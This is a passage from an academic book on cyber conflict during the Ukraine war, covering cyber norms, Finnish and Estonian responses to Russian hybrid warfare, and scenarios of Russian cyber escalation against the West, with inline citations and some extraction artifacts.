http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html; Shearlaw. From Britain to Beijing. 4.1 The Information Security Norms Proposed by the SCO In general, the state-sponsored conventional military operations in Ukraine are not in accordance with international norms;30 therefore, it should come as no surprise that the reported cyber incidents also appear unorthodox. However, one important question, given that Russia is directly involved in the Ukraine conflict, is how these cyber incidents fit into the Code of Conduct framework whose primary focus is informaAlleged Russian cyber tion sovereignty. In that regard, alleged Rusoperations appear inconsian cyber operations would appear inconsissistent with the norms it tent with the norms it has hitherto proposed or supported. In fact, most of the cyber incihas hitherto proposed. dents reported by both sides in the conflict seem to fall into the category of information operations, which could be interpreted as violating another state s information sovereignty. In the words of the Code of Conduct, ICTs were likely used in an effort to interfere in the internal affairs of other States [ ] with the aim of undermining their political, economic and social stability Since the norms supported by SCO and Russia focus on information rather than strictly cyber security, one can see that the non-cyber information operations via other media such as TV are also inconsistent with the stated principle of information sovereignty. The Code of Conduct also prohibits the abuse of a dominant position in cyberspace; in this regard too, Russia may have violated its own principles by abusing its control over Russian-owned social media networks such as Vkontakte and Odnoklassniki which are also popular among Ukrainian users.31 Analysing the application of the SCO-proposed information security norms reveals an inherent weakness: quantifying the influence of highly subjective information content or identifying a breach of information sovereignty is problematic, if not impossible. 4.2 The Voluntary Norms of Behaviour in Peacetime The voluntary, politically binding norms advocated by the US (and partly recommended by the UN GGE) are intended to apply in peacetime. Nonetheless and however one classifies the Ukraine conflict from a legal perspective32 we can still speculate relative to their application during a time of conflict. In Ukraine, the most important observation so far is that no destructive cyber attacks on critical infrastructure (CI) have been reported by either side. To some degree, this offers hope that the norm of limiting cyber attacks against CI could See collection of legal arguments related to the use of force in the Ukraine conflict, Debate Map: Ukraine Use of Force, accessed August 17, 2015, http://opil.ouplaw.com/page/ukraine-use-of-force-debate-map. Margarita Jaitner and Peter A. Mattsson. Russian Information Warfare of 2014, in 2015 7th International Conference on Cyber Conflict, ed. Markus Maybaum, Anna-Maria Osula, and Lauri Lindstr m (NATO CCD COE Publication, 2015), 39 52; Vkontakte Founder Flees Russia, Claims Persecution, The Moscow Times, April 22, 2014, http://www.themoscowtimes.com/news/ article/vkontakte-founder-flees-russia-claims-persecution/498715.html. See Chapter 14 by Jan Stinissen. This offers hope that the norm of limiting cyber attacks against CI could evolve into a standard of behaviour. evolve into a standard of behaviour.33 A possible exception is the alleged sabotage of the Ukrainian election system, but even here, one might disagree over whether this was a simple information operation or a serious attack against CI.34 The pertinent question here may relate to the proper definition of CI. Historically, there have been some significant network intrusions,35 but relatively few examples of effective cyber attacks against CI.36 The few cases that are presented as destructive state-sponsored attacks Stuxnet being the best-documented example37 can still be seen as outliers. With that in mind, even well-established norms are mere collective expectations of proper behaviour 38, and it is unrealistic to assume that every actor (especially a nation at war) would always abide by them. Assuming there have been no attacks against CI in Ukraine, can we say that this is another example of cyber powers restraining themselves?39 First, this restraint may be strongly influenced by case-specific factors, as explained by Martin Libicki in Is it possible that cyber does Chapter 12. Second, one can identify more not give nation-states a revuniversal reasons stemming from classiolutionary way to damage cal realpolitik calculus of state actors. Is it possible that cyber does not give nationCI for strategic gain? states a revolutionary way to damage CI (or otherwise harm the citizens of an adversary state) for strategic gain?40 Or does the case of Ukraine show that cyber operations are now universally employed, but less effective than feared?41 In other words, the tactical opportunities that cyber is often seen as providing the infinite reach, low cost of entry, and plausible deniability may not easily translate to the strategic level.42 This is also apparent as there Limiting attacks against CI was also covered in the aforementioned SCO s Code of Conduct. Clayton. Ukraine Election Narrowly Avoided Wanton Destruction from Hackers (+video). See, for example, Trend Micro and Organization of American States. Report on Cybersecurity and Critical Infrastructure in the Americas, 2015, http://www.trendmicro.com/us/security-intelligence/research-and-analysis/critical-infrastructures-security/index.html?cm_mmc=VURL:www.trendmicro.com-_-VURL-_-/oas/index.html-_-vanity; Jack Cloherty et al., Trojan Horse Bug Lurking in Vital US Computers, ABC News, November 7, 2014, http://abcnews.go.com/US/trojan-horse-buglurking-vital-us-computers-2011/story?id=26737476; Havex Malware Strikes Industrial Sector via Watering Hole Attacks, SC Magazine, June 25, 2014, http://www.scmagazine.com/havex-malware-strikes-industrial-sector-via-watering-hole-attacks/ article/357875/. Thomas Rid. Cyber War Will Not Take Place (Oxford ; New York: Oxford University Press, 2013); Brandon Valeriano and Ryan C. Maness. Cyber War versus Cyber Realities: Cyber Conflict in the International System (Oxford ; New York: Oxford University Press, 2015). David E. Sanger. Obama Ordered Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, http://www.nytimes. com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyberattacks-against-iran.html. Finnemore and Sikkink. International Norm Dynamics and Political Change, October 1, 1998. Valeriano and Maness. Cyber War versus Cyber Realities; Rid, Cyber War Will Not Take Place. For a collection of authors challenging the cyber threat perception, see The Cyberskeptics, Cato Institute, http://www.cato. org/research/cyberskeptics. Rid. Cyber War Will Not Take Place; Valeriano and Maness. Cyber War versus Cyber Realities. See similar remarks made by Jason Healey at Atlantic Council s panel on Waging Cyber Conflict , https://www.youtube.com/ watch?v=aTKk4CSC9EM. is still no shortage of cyber sceptics ,43 even if the vexing attribution problem were hypothetically to go away.44 The Ukraine case study, at least, suggests that cyber has not yet changed the game in terms of state vs. state cyber attacks that destroy physical infrastructure. More likely, it can be understood as one additional weapon in a state s arsenal, and that existing norms both legal and political governing traditional state-to-state actions are still followed as if they were applying to other, more conventional attack methods. As of October 2015, the examples of cyber incidents in the Ukraine crisis allow us to make tentative observations about the other proposed norms of behaviours (2, 3, and 4). In respect of norm number 2, there have been no reported allegations of interference with the work of the national CERTs. However, although some personal communications may have continued, there have been few official CERT to CERT discussions since the conflict began.45 Against number 3, there have been no published reports of recent Russo-Ukrainian cybercrime investigations,46 but that may be too much to hope for given that the two countries are currently in open conflict. However, the fact that Russia is unwilling to accede to the Budapest Convention on Cybercrime does not stand in its favour. The final norm, number 4, which asks states not to steal intellectual property via cyber means, is also likely not followed, given the two countries current state of hostilities and numerous reports of ongoing cyber espionage. Adopting the norm concerning cyber espionage is in any case fraught with challenges, as its primary norm entrepreneur, the US, has been heavily criticised by both allies and adversaries in the wake of the Snowden revelations. Further, it can be difficult if not highly subjective to determine whether any given attack was intended for political or economic gain. On a global level, cyber espionage appears to be a silently accepted norm. The latest UN GGE (2015), for example, did not mention it in its latest publication, signalling that the international community is currently not motivated to address the topic, and its global curtailment, at least in the short term, is unlikely. Conclusion The Ukraine case study suggests that, during this conflict, nation-states have not adhered to many of the proposed political cyber norms covered in this chapter. Hence, it is doubtful that these rules will be globally accepted in the near future. See, for example, note 40 on The Cyberskeptics , and discussion between Jarno Limn ll and Thomas Rid. Is Cyberwar Real?, Foreign Affairs, March/April 2014, https://www.foreignaffairs.com/articles/global-commons/2014-02-12/cyberwar-real. See, for example, Martin Libicki. Would Deterrence in Cyberspace Work Even with Attribution?, Georgetown Journal of International Affairs, April 22, 2015, http://journal.georgetown.edu/would-deterrence-in-cyberspace-work-even-with-attribution/. Conversations with Ukrainian cyber security experts. Brian Ries. Gang of Cyber Criminals on the Run in Ukraine and Russia, Mashable, June 3, 2014, http://mashable. com/2014/06/03/cyber-criminals-russia-ukraine-gameover-zeus/; Tom Brewster. Trouble with Russia, Trouble with the Law: Inside Europe s Digital Crime Unit The Guardian, April 15, 2014, http://www.theguardian.com/technology/2014/apr/15/european-cyber-crime-unit-russia. First, the known cyber operations appear contrary to the letter and spirit of the Code of Conduct as most of the incidents can be seen as part of the larger information war. Second, most of the norms advocated by the US were also breached as cyber espionage was widely reported, and international cooperation between the two nation s CERTs and law enforcement agencies has been absent. As a positive sign for international security, there have been no reports of destructive cyber attacks against CI in Ukraine. This appears to go against what one could expect to see in a modern military conflict. Is this a sign that the norm of not using cyber to harm CI as also recently advocated by the UN GGE is likely to be globally accepted and followed in the future? Hopefully, as this potential norm is perhaps the most important in terms of strengthening international cyber security and stability. As of October 2015, the Ukraine conflict appears to indicate that cyber operations have not yet (contrary to popular belief) substanCyber operations have not yet (contrary tially challenged the existto popular belief) substantially chaling norms governing state lenged the existing norms governing behaviour in conflict situations. state behaviour in conflict situations. Chapter 16 Northern European Cyber Security in Light of the Ukraine War Jarno Limn Aalto University Introduction The Ukraine war is a game changer in the international security environment, and its ramifications in Northern Europe are profound. Numerous countries in the region feel that their national security is directly threatened, especially those bordering Russia. New NATO members Estonia, Latvia, Lithuania, and Poland are seeking concrete forms of reassurance from Washington and Brussels, while non-members like Sweden and Finland have reinforced their ties with the NATO Alliance. The Nordic and Baltic countries have sought a closer partnership during the Ukraine war, and this has created an opportunity to advance their regional cyber security dialogue. Received wisdom states that small countries, especially those located next to a big country, are most at risk when international security breaks down, and that big states do what they want while small states do what they must. During the war in Ukraine, northern European countries have been forced to re-evaluate their relationship with NATO as well as their preparedness against Russia hybrid warfare which blends conventional and unconventional operations, regular and irregular tactics, information warfare, and cyber warfare. Cyber threats in particular have been an integral part of these ongoing discussions, as northern European countries have been subjected to various forms of cyber attack during the Ukraine war. This chapter concentrates on two of Russia s neighbours that have always been in the realist camp in term of their national security policy: Finland and Esto- nia. The response of each nation to the Ukraine crisis has been different, reflecting their traditional approaches to foreign and security policy as well as their existing ties to NATO. Yet these two nations have much in common: a fundamental interest in regional stability, Western unity, a norms-based view of international order, interdependence, and an essential need for cooperation in the field of foreign and security policy. These same principles drive both nations prevailing views on both information security and cyber security two issues which are sometimes distinct, and sometimes closely related. Finland: Coming to Terms with Hybrid Warfare Is Finland really getting ready for war with Russia? An American news channel posed this question in May 2015, when nearly a million Finnish military reservists received letters detailing their assigned duties in a crisis situation.1 In fact, the correspondence was unrelated to Russia s annexation of Crimea or its ongoing war in Ukraine, but the media attention that this event generated speaks volumes about the age-old nature of the Russo-Finnish relationship. Historically, Finland s national security strategy has almost exclusively been focused on Russia, and Finns have been following the war in Ukraine extremely closely. From the beginning, Finland has condemned Russia s activities in its largest European neighbour. Finnish President Sauli Niinist summarised the current situation well: We have a long history with Russia not that peaceful all the time. So everything the Russians are doing, surely the Finns notice and think very carefully about what that might mean .2 Defence Minister Carl Haglund was more direct in his choice of words: Russia says one thing but does another. I do not trust Russia at all The concept of cyber is rather new in the Finnish language.4 It was institutionalised in 2013, when Finland published its National Cyber Security Strategy, which described cyber security as the desired end state in which the cyber domain is reliable and in which its functioning is ensured .5 Public discussion of the importance of cyber security is a natural outgrowth of Finland being one of the most advanced information societies in the world, a country that relies heavily on the proper functioning of myriad electronic networks and services. For years, there has been an active societal debate in Finland on topics such as public-private partnerships in cyberspace, the need for better legislation, the development of cyber defence capabilities within the Finnish Defence Forces, and much more. Holly Ellyatt. Is Finland really getting ready for war with Russia? CNBC, May 25, 2015. Griff Witte. Finland feeling vulnerable amid Russian provocations, The Washington Post, November 23, 2014, 6. Gerard O Dwyer. Finland Brushes Off Russian Overtunes, DefenseNews, February 15, 2015, http://www.defensenews.com/ story/defense/international/2015/02/15/finland-russia-border-relationship/23301883/. Jarno Limn ll. Kyber rantautui Suomeen, Aalto University Publication Series 12/2014, Helsinki 2014. Concepts like information security or computer security have been used for decades in the Finnish language. Secretariat of the Security Committee, Finland s Cyber Security Strategy, Government Resolution 24.1.2013, 1. In Finland, there has been intense analytical focus on Russia s traditional warfare capabilities (including in Ukraine), but there has been limited discussion regarding Russia s cyber activities. Finnish analysts have noticed Russian cyber espionage in Ukraine, Distributed Denial-of-Service (DDoS) attacks against Ukraine, and the disruption by pro-Russian hackers It has not been necessary of Ukrainian media and telecommunications networks.6 However, most Finnish for Russia to use its more cyber experts have been surprised that strategic cyber capabilities. cyber attacks have not played a greater role in the conflict, and frankly, we expected to see more. According to our analysis, the primary reason for this is likely that Ukraine is simply not a very cyber-dependent country; therefore, Russia could better fulfil its national security agenda by other means, as cyber attacks may not have the desired effect. As a consequence, it has not been necessary for Russia to use its more strategic cyber capabilities. In Finland, one change has been a deeper appreciation of the seriousness of cyber espionage, and this is partly due to Russia s cyber activity in Ukraine. For the first time, Finland has accused Russia of carrying out intelligence activities both physical and cyber within its territory. In the past, Finnish Security Police reports had only vaguely mentioned that some foreign countries had engaged in espionage against Finland. Cyber threats from Russia have been viewed in Finland primarily in the context of hybrid warfare, which is understood in Finland to be a more intelligent or efficient way to wage war because it seeks to achieve political goals without the extensive use of traditional violence. Using a range of tools such as cyber attacks, economic pressure, information operations, and limited physical attacks to generate uncertainty in the mind of the general population, an aggressor may be able to achieve its desired political goals. In Finland, it is understood that modern Russian warfare puts great emphasis on cyber and electronic warfare. In particular, Russian activities in Ukraine have spurred Finland to strengthen its military and societal defences. The new Finnish Government programme puts it this way: The Government will strengthen the comprehensive concept of security nationally, in the EU and in international cooperation. This applies, in particular, to new and large-scale threats, such as the defence against hybrid attacks, cyber attacks and terrorism From a Nordic perspective, one of the most alarming aspects of the Ukraine crisis has been Russian attempts to wage information warfare to influence public opinion. Finnish media and even ordinary Finns have discussed this dynamic in detail. Even the Finnish Prime Minister has openly stated that there is an ongoing Jarno Limn ll. Ukraine crisis proves cyber conflict is a reality of modern warfare, The Telegraph, April 19, 2014, http://www. telegraph.co.uk/technology/internet-security/10770275/Ukraine-crisis-proves-cyber-conflict-is-a-reality-of-modern-warfare.html. Prime Minister s Office, Strategic Programme of Prime Minister Juha Sipil s Government, Government Publications 12/2015, May 29, 2015, 38. information war in Ukraine. Finns have noted pro-Russian trolling , or the aggressive use of online arguments and false information toeing the Kremlin line. Such tactics increased significantly as the One of the most alarming Ukraine crisis escalated.8 In the flood of Finnish, English and Russian troll mesaspects of the Ukraine crisis the same phrases are constantly has been Russian attempts to sages, repeated: Russia and President Vladiwage information warfare to mir Putin are idolised and the military operations of Russia in Ukraine are jusinfluence public opinion. tified or simply denied. The Russian Embassy in Helsinki has active Facebook and Twitter accounts; on Twitter, @russianembfinla has retweeted pro-Russia trolls and the (often anonymous) tweets of anti-Western voices, blocked Finnish journalists critical of Russia, distributed photos of Ukrainian civilian casualties, and altered the messages of Finnish tweeters. There are numerous vexing challenges. For example, it is difficult to prepare countermeasures for an attack that is outsourced to hacker groups that lie outside normal state structures. In Ukraine, these are theoretically separatist groups in Crimea and eastern Ukraine. Cyberspace is the ideal place to wage anonymous at least plausibly deniable operations. For Finnish defence planning, the increased use of hybrid warfare does not mean forgetting more traditional military threats to our nation, but it does complicate matters especially societal preparedness. Cyber attacks are now an integral part of all conflicts and wars, and they are blurring the line between peace and war. As Finland s President Niinist stated: With hybrid warfare, we are facing a substantial change in military operations. The boundary between actual war and other exercise of power is becoming blurred. Means of cyber war and information war are becoming increasingly important. It is now possible to fight a war without actually being at war. At the same time, conflict escalation is setting new speed records, as we saw for instance in the Crimea. Estonia: Cyber Attacks and NATO Article 5 In 2007, Estonia became the first country in the world to be targeted by a coordinated international cyber attack which came in retaliation for Tallinn s decision to relocate a World War II monument from the centre of Tallinn to a military cemetery Finland s national public-broadcasting company YLE gathered a large amount of information on pro-Russia trolling. Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online Check the List of Forums Favored by Propagandists, last modified June 24, 2015. http://kioski.yle.fi/omat/troll-piece-2-english. Speech by President of the Republic Sauli Niinist at the ambassador seminar, August 26, 2014. http://www.presidentti.fi/ public/default.aspx?contentid=311373&nodeid=44807&contentlan=2&culture=en-US. on the outskirts of the city. Today, Estonia is considered to be a world leader in all things digital, including cyber security.10 Estonia s current Cyber Strategy notes that the environment is growing more dangerous: The amount and activeness of states capable of cyber-attacks are increasing Estonia has been subjected to pressure from Moscow for years, but Russian cyber espionage in Estonia s government and commercial affairs is also getting worse. Therefore, when tensions began to rise in Ukraine, Estonia was one of the first nations to sound the alarm. In late 2014, Estonia s Prime Minister Taavi R ivas declared that [w]e, in Estonia, fully understand that challenges may arise from other directions, including in the cyber domain Russian s annexation of Crimea has raised fears in the Baltic states that they could be the next victims of Russian aggression. In all three countries, there are many people alive today who personally witnessed Russian tactics similar to those now on display in Ukraine. Both Latvia and Estonia have large Russian-speaking minorities living within their borders. Estonia is different from Finland in one key regard its NATO membership. Estonia s President Toomas Hendrik Ilves is an active figure in NATO security and policy circles, particularly those that relate to cyber: Shutting down a country with a cyberattack would be very difficult but not impossible. If you did that, why wouldn t that be a case for Article 5 action? Article 5 of the NATO Charter states that any attack on one member of the Alliance can be viewed as an attack on all. At the NATO Wales Summit in 2014, in part due to Ilves s tireless work, NATO ministers ratified a policy stating that not only conventional and nuclear attacks, but also cyber attacks, may lead to an invocation of Article 5.13,14 In the past, a NATO ally under cyber attack could convene a group to consult on the attack, but not call on allies to respond in any way. With cyber attacks now falling under Article 5, NATO members now have the option of doing so. This is a major shift in policy, given that cyber warfare is still largely shrouded in mystery and secrecy. National cyber capabilities tend to be highly classified. Therefore, despite differing capabilities, viewpoints, and thresholds (after all, what Estonia might consider to be an intolerable assault on its sovereignty might not be seen the same way in Brussels or Washington) this was a significant event in that a public announcement that NATO might respond to a cyber attack as it would to a kinetic or traditional attack has tangible value in the realm of international military deterrence. During the conflict in Ukraine, DDoS attacks against Estonia have been surprisingly few. In fact, despite expectations, the past year has been unusually calm According to the global cyber security index of the International Telecommunication Union (ITU), Estonia is ranked fifth in the world in the field, and according to the recently published Business Software Alliance (BSA) report, Estonia, Austria and Netherlands are the most cyber-secure countries in Europe. Ministry of Economic Affairs and Communications, Cyber Security Strategy 2014-2017, 2014, 5. Ashish Kumar Sen. Estonia s Prime Minister: NATO Presence Key to Counter Russia s Provocations, Atlantic Council, December 11, 2014. NATO, Wales Summit Declaration, September 5, 2014. http://www.nato.int/cps/en/natohq/official_texts_112964.htm. E.g. Roger Boyes. NATO must respond to Russian cyber assault, The Times, April 3, 2015. compared to the previous year.15 In 2013, the level was much higher: for example, the websites of the Ministry of Defence and the Estonian Defence Forces were both hit by DDoS, for which responsibility was claimed by Anonymous Ukraine .16 Also in 2013, the website of Estonian railway company Elron (which happens to be the most popular Google search term in Estonia) was defaced with messages claiming that passenger train traffic had been halted as a result of a NATO military exercise.17 Earlier the same day, the website of the NATO Cooperative Cyber Defence Centre of Excellence (NATO CCD COE) came under DDoS attack (Anonymous Ukraine again claimed responsibility). At NATO Headquarters in Belgium, several websites have been targeted during the Ukraine war, as well as NATO s unclassified e-mail system. NATO officials have described these attacks as serious assaults, but also said that they did not pose any risk to NATO s classified networks.18 The hacker group Cyber Berkut said the attacks were carried out by patriotic Ukrainians angry over NATO interference in their country, and also stated that NATO CCD COE experts had been in Ukraine training cyber terrorists . Although attribution of cyber attacks to specific actors and nations is difficult, technical analysis of the Cyber Berkut s domains as well as the nature of its propaganda strongly suggest ties to Russia.19 Since the beginning of 2014, however, Estonian cyberspace has been unusually calm. Like Finland, Estonia has seen espionage, pro-Russia trolling on Estonian web forums, and propaganda, but little in the way of malware or computer exploits. Estonians feel that the hostile information flow from Russia is aimed at creating and widening rifts between native Estonians and ethnic Russians (Moscow does not see normal relations as beneficial to its current foreign policy). For example, on 4 March 2015, the television channel Rossiya-1 (a key source of information for many ethnic Russians in the Baltic region) aired a satirical anti-Nazi video that was said to be proof of Estonia s support for Nazism.20 In response, Estonia will create its own Russian-language TV channel, to be launched in September 2015 by a state-financed public broadcaster, that will seek to empower the local ethnic Russian identity.21 A NATO member only since 2004, Estonia today occupies a highly visible position within the Alliance. Thus, the hybrid military campaign that Russia has launched in Crimea and in eastern Ukraine almost forces NATO to take proactive steps to guard against the use of such tactics in the Baltic states, if not to rethink some of its defence strategies altogether. As Estonia s Defence Minister Sven Mikser stated, We have reason to believe that Russia views the Baltic region as one Private conversations with Estonian officials. CERT-EE kokkuv te, Hajusad ummistusr nded, v ltsitud saatjaga e-kirjad ning n otustamised 1.-7. Novembril 2013, aka #OpIndependence, https://www.ria.ee/public/CERT/opindependence.pdf. E.g. Ronald Liive. ide Regnumilt: NATO suur ppuse k igus r nnati ekslikult ehtsaid veebilehti, Forte, November 13, 2013. NATO websites hit in cyber attack linked to Crimea tension, Reuters, March 16, 2014. Rodrigo, Cyber Berkut Graduates from DDoS Stunts to Purveyor of Cyber Attack Tools, Cyber Threat Intelligence, June 8, 2015. https://www.recordedfuture.com/cyber-berkut-analysis/. Ott Ummelas. Estonia Must Counter Hostile Russian Propaganda, Bloomberg Business, March 25, 2015. Silver Tambur. s new Russian-language TV channel will be called ETV+, April 20, 2015. of NATO s most vulnerable areas, a place where NATO s resolve and commitment could be tested Today, cyber security is increasingly seen as playing a vital role in national security affairs, both in and out of NATO. For its part, Estonia is already sharing its cyber security experience and expertise with Ukraine, including the organisation of large cyber security drills. And finally, Estonia has one major advantage on its side: it is home to the NATO CCD COE, whose symbolic importance to Estonia has grown rapidly. Conclusion: David vs. Goliath in Cyberspace Finland and Estonia both rank among the world s most connected and cyber security-savvy countries.23 In both nations, there is a high degree of dependence on the internet, as well as a deep appreciation for the strategic nature of modern networks and the need to secure them. Therefore, both Finland and Estonia are at the forefront of the nations creating cyber norms in the world.24 The need to prepare defences against modern hybrid warfare forces governments, including those of Finland and Estonia, to take steps sooner rather than later. There will be conflicts in which the regular armed forces of a foreign state are not the most active participants. Some of the attacks may occur entirely in cyberspace, and the attackers might even remain anonymous. In the internet era, a wide range of national laws must be re-examined and contingencies rehearsed, so that decision-makers have the best possible tools to respond to the challenges of hybrid warfare in the future. Russia is far larger and more populous than both Finland and Estonia, but traditional notions of size especially in the globalised internet era is not the only determining factor on the cyber battlefield. Smaller countries such as Finland and Estonia, with a strong heritage of technical capability and experience, may possess some advantages that not even great powers could dream of. In the near term, Finland will continue to strengthen its Smaller countries with a strong defences independently, while Estonia will continue to emphasise NATO heritage of technical capability Article 5. In the long term, Finland and and experience may possess Estonia will continue to punch above some advantages that not even their weight in the cyber domain great powers could dream of. especially relative to their size. Geoff Dyer. NATO shifts strategy in Europe to deal with Russia threat, Financial Times, June 23, 2015. Global Cybersecurity Index and Cyberwellness Profiles. International Telecommunications Union, April 2015 http://www.itu. int/dms_pub/itu-d/opb/str/D-STR-SECU-2015-PDF-E.pdf. See e.g. Jarno Limn ll. Can Finland Act As a Mediator on Cyber Norms? Council on Foreign Relations, May 28, 2015, http:// blogs.cfr.org/cyber/2015/05/28/can-finland-act-as-a-mediator-on-cyber-norms/. Chapter 17 What s Next for Putin in Ukraine: Cyber Escalation? Jason Healey Michelle Cantos Columbia University Introduction We may be facing the internet s most dangerous moment. From the earliest days of cyber intelligence, a rule of thumb was that those with the capability to cause significant cyber disruption lack the intent; those with the intent lack the capability .1 Some governments, including the United We may be facing the internet States, Russia, and China, have always most dangerous moment. had the capability, but have lacked the motivation to bring down the internet. However, times change, and Vladimir Putin, now facing strong sanctions and a weak rouble, could choose to retaliate against the West in the form of little green bytes . US and European economies may, in fact, be natural targets, carrying the implicit message: if you seriously affect Russia s financial health, you too will feel the pain. Matthew Devost. Risk of cyber terrorism raised at seminar, Massey University News, September 12, 2002, http://www.massey. ac.nz/~wwpubafs/2002/news_release/13_09_02a.html. Conflict in cyberspace offers adversaries many possibilities and Putin has numerous options. In the near term, there are four obvious scenarios: local instability, intimidation, frozen cyber conflict, and coercion. The first option, local instability, would exclusively target Ukraine, causing cyber disruption in the hope of keeping the country prostrate while trying to avoid escalation with the West and a tightening of sanctions. In the second option, intimidation, Putin would use cyber capabilities against the West to mirror his existing recipe of strategic threats, military exercises, submarine deployments, nuclear threats and nuclear-capable bomber flights. A further escalation here could be a third option a frozen cyber conflict, where techniques of hybrid warfare are used to try for medium-term disruption to the internet itself. The fourth option, coercion, would go beyond local disruption and provocations and would attempt to use cyber force to disrupt Western economic and military targets. This last scenario is the most dangerous of all, potentially signifying a calculation by Putin that Russia has little remaining stake in the global economic game. In that case, why not upend the table and ruin the party for everyone? Local Instability: Frozen Conflict with a Topping of Cyber In the least aggressive scenario, Putin would escalate only within Ukraine in an attempt to further destabilise and delegitimise the existing government. The little green bytes might deny service to Ukrainian government and media sites, or even target critical infrastructure. As in other post-Soviet frozen conflicts, the goal is not necessarily to prevail, but rather to keep Ukraine destabilised for years and unable to pose any challenge. As noted elsewhere in this book, the Russians, due to their legacy from the Moscow-dominated Soviet Union, have an extensive knowledge of Ukrainian systems. Most of Ukraine s infrastructure is well understood if not designed by Russian enterprises, so exploiting them for cyber attack would be far easier than for a typical cyber campaign elsewhere. There may also be a sufficient number of insiders who are friendly to Russia, and who could either be bribed or blackmailed into leaking sensitive government materials, disseminating propaganda, installing malicious software, or even physically destroying key systems. Russia has shown some of its digital arsenal. Cyber espionage campaigns such Sandworm have played a role in intelligence collection operations against the Ukrainian government and some NATO nations, even taking advantage of multiple zero-day exploits.2 The local instability cyber option could allow Putin to maintain pressure on Ukraine while avoiding an increase in tensions with the West. He might even be iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign, iSight, October 14, 2014, http://www.isightpartners.com/2014/10/cve-2014-4114/. able to accomplish this while claiming to be de-escalating the conflict. Russia, in this scenario, would only launch disruptive cyber attacks within Ukraine, not against other targets in the West, and attempting to limit the upper bound of escalation. The international community might be happy, however, to countenance a cyber war in Ukraine if it caused little tangible damage to other countries, limited the body count, and generated fewer disturbing media images. Intimidation: Cyber Provocations and Escalation A second option for Putin is to send a digital warning shot across the West s cyber bow, in effect saying that Russia has additional cards up its sleeve and may play them if necessary. Russia is already escalating all sorts of military operations against the West, from massive exercises and military flights to nuclear threats. Little green bytes could therefore be just one additional form of provocation to add instability on the world stage. Such attacks would be just-deniable-enough and might target defence and military systems and networks. Russia could target allies with weaker defences, or governments which Putin might calculate as being easier political prey, and more susceptible to Russian coercion. This cyber escalation would simply be a natural extension of Putin s provocative behaviour in other military forces. In the last fifteen months, Russia has apparently sneaked submarines into Swedish and Finnish territorial waters, stating that Finland s growing ties with NATO were a special concern ;3 flown jet fighters and nuclear-capable bombers along the periphery of Europe; and buzzed NATO ships including the US guided-missile destroyer USS Ross as it sailed in international waters off the Russian-occupied Crimean peninsula.4 Apart from drilling his conventional forces, Putin in the spring of 2014 organised large-scale exercises designed to assess the preparedness level of his nuclear forces.5 In the context of Russia s nuclear threats against Denmark, these appear to be calculated (if clumsy) efforts to intimidate the West.6 Estonia in 2007 was a blueprint The Russian cyber assault on for a geopolitically inspired and Estonia in 2007 was a blueprint for a just-deniable-enough digital geopolitically inspired and just-deniable-enough digital disruption. When disruption. Finnish military fires depth charges at suspected submarine, Reuters, April 28, 2015, http://www.reuters.com/article/2015/04/28/us-finland-navy-idUSKBN0NJ0Y120150428. Barbara Starr. Russian planes, U.S. warship have close encounter near Crimea, CNN, June 1, 2015, http://www.cnn. com/2015/06/01/politics/russia-plane-navy-uss-ross/. Bill Gertz. Russia Conducts Large-Scale Nuclear Attack Exercise, Washington Free Beacon, May 8, 2014, http://freebeacon. com/national-security/russia-conducts-large-scale-nuclear-attack-exercise/. Adam Withnall. Russia threatens Denmark with nuclear weapons if it tries to join NATO defence shield, The Independent, March 22, 2015, http://www.independent.co.uk/news/world/europe/russia-threatens-denmark-with-nuclear-weapons-if-ittries-to-join-nato-defence-shield-10125529.html. the Estonian government decided to move a Soviet war memorial from the centre of its capital Tallinn to a military cemetery on the outskirts of town, Russia responded by encouraging patriotic hackers to engage in a three week long Distributed Denial-Of-Service (DDoS) attack against numerous sectors of the Estonian economy including the government, media, and financial institutions.7 This template relies on a combination of threats, cyber capabilities, the use of proxies, and plausible deniability. Russia might alternately hold off on such disruptive attacks in favour of increasingly aggressive espionage. In fact, it seems an escalation in such intrusions is already underway. Russian state-sponsored hackers are believed to have recently compromised the US Department of State, then used that access to penetrate the unclassified network of the Executive Office of the President.8,9 Unlike during previous intrusions linked to Russia, on this occasion the digital spies did not back out of the system once they were discovered, but fought back in order to maintain their foothold in the network.10 Investigators also believe that Russian spies were behind the recent intrusion into the unclassified email of the Joint Chiefs of Staff, an intrusion which forced the Pentagon to take the system down for several days.11 Freezing the Conflict in Cyberspace Rather than, or in addition to, using cyber to help destabilise the Ukraine, Putin might try to make the internet itself a new zone of frozen conflict. This option is perhaps not as likely as the others, but might offer Putin an intriguing possibility: inflict on the internet, which delivers harmful content in the form of unwanted truths to Russian citizens, just enough long-term disruption so that it is less useful, less trusted, and less an enabler to Western economies and societies. In this option, Putin s forces would use cyber capabilities to periodically disrupt core internet infrastructure such as the domain name system, or frequently take down Western information providers. Each new week could see a large-scale denial-of-service attack. This option differs from the previous intimidation option in two ways. First, the attacks would be far more disruptive than mere shows of force. Compared to Ian Traynor. Russia accused of unleashing cyberwar to disable Estonia, The Guardian, May 16, 2007, http://www.theguardian. com/world/2007/may/17/topstories3.russia. Evan Perez and Shimon Prokupecz. Sources: State Dept. hack the worst ever CNN, March 10, 2015, http://www.cnn. com/2015/03/10/politics/state-department-hack-worst-ever/index.html. Ellen Nakashima. Hackers breach some White House computers, The Washington Post, October 28, 2014, http://www.washingtonpost.com/world/national-security/hackers-breach-some-white-house-computers/2014/10/28/2ddf2fa0-5ef7-11e491f7-5d89b5e8c251_story.html. Michael S. Schmidt and David E. Sanger. Russian Hackers Read Obama s Unclassified Emails, Officials Say, New York Times, April 25, 2015, http://www.nytimes.com/2015/04/26/us/russian-hackers-read-obamas-unclassified-emails-officials-say.html Nancy A. Youssef. Russians Hacked Joint Chiefs of Staff, The Daily Beast, August 6, 2015, http://www.thedailybeast.com/ cheats/2015/08/06/russians-hacked-joint-chiefs-of-staff.html. the intimidation option where Russia threatens force to avoid a conflict, in this frozen-conflict option, Putin already accepts Western nations as adversaries. The goal is therefore not to get them to back down, but hopefully to destabilise the internet just enough to deny cyber benefits to his perceived enemies. Coercion: Escalate to De-escalate The most aggressive option for Putin What if, Sony-style, one bank a is to use cyber capabilities to disrupt week were targeted for a disrupthe economies of the West. Imagine tive and embarrassing attack? a massive, long-term and continuing attack against the West s financial system or power grids. What if, Sony-style, one bank a week were to be targeted for a disruptive and embarrassing attack? Russia in the past had, along 